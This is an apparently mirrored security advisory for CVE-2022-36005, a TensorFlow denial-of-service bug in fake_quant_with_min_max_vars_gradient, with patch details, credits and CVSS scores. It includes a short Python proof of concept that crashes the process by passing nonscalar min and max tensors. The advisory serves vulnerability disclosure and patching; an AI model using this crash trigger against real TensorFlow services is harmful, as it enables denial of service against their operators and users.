Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1yMjZjLTY3OXctbXJqbc4AAu2T

TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsGradient`

Impact

When tf.quantization.fake_quant_with_min_max_vars_gradient receives input min or max that is nonscalar, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
import numpy as np 
arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_4=8
arg_5=False
arg_6=''
tf.quantization.fake_quant_with_min_max_vars_gradient(gradients=arg_0, inputs=arg_1,
min=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6)

Patches

We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by

• 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
• Neophytos Christou, Secure Systems Labs, Brown University

Permalink: https://github.com/advisories/GHSA-r26c-679w-mrjm
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjZjLTY3OXctbXJqbc4AAu2T
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 years ago
Updated: almost 2 years ago

CVSS Score: 5.9
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00082
EPSS Percentile: 0.3655

Identifiers: GHSA-r26c-679w-mrjm, CVE-2022-36005
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r26c-679w-mrjm
• https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed
• https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
• https://nvd.nist.gov/vuln/detail/CVE-2022-36005
• https://github.com/advisories/GHSA-r26c-679w-mrjm

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 28.7

Affected Packages